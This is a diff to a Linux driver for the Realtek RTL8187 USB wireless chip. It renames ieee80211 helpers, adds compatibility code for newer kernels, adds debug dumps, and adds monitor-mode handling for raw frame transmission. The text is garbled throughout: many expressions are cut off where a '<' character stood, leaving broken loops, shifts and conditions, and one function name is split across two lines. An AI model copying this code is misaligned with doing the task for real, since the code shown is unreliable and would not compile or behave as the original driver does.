rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,30 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + spin_lock_irqsave(&priv->tx_lock,flags); + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1202,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1217,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1232,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1241,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1249,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1307,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1365,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,31 +1376,38 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else priv->stats.txnperr++; kfree(tx_urb->transfer_buffer); usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_dec(&priv->tx_np_pending); + } //rtl8180_try_wake_queue(dev,NORM_PRIORITY); } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,45 +1417,47 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ + if( pend > MAX_TX_URB){ + if(priority == NORM_PRIORITY) + priv->stats.txnpdrop++; + else + priv->stats.txlpdrop++; + return -1; + } } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1466,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,71 +1488,77 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); status = usb_submit_urb(tx_urb, GFP_ATOMIC); if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + } return 0; }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + DMESGE("Error TX URB %d, error %d", + atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), + status); + } return -1; } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1567,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1578,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1599,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1626,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1653,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1694,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1741,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1801,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1849,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1858,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; 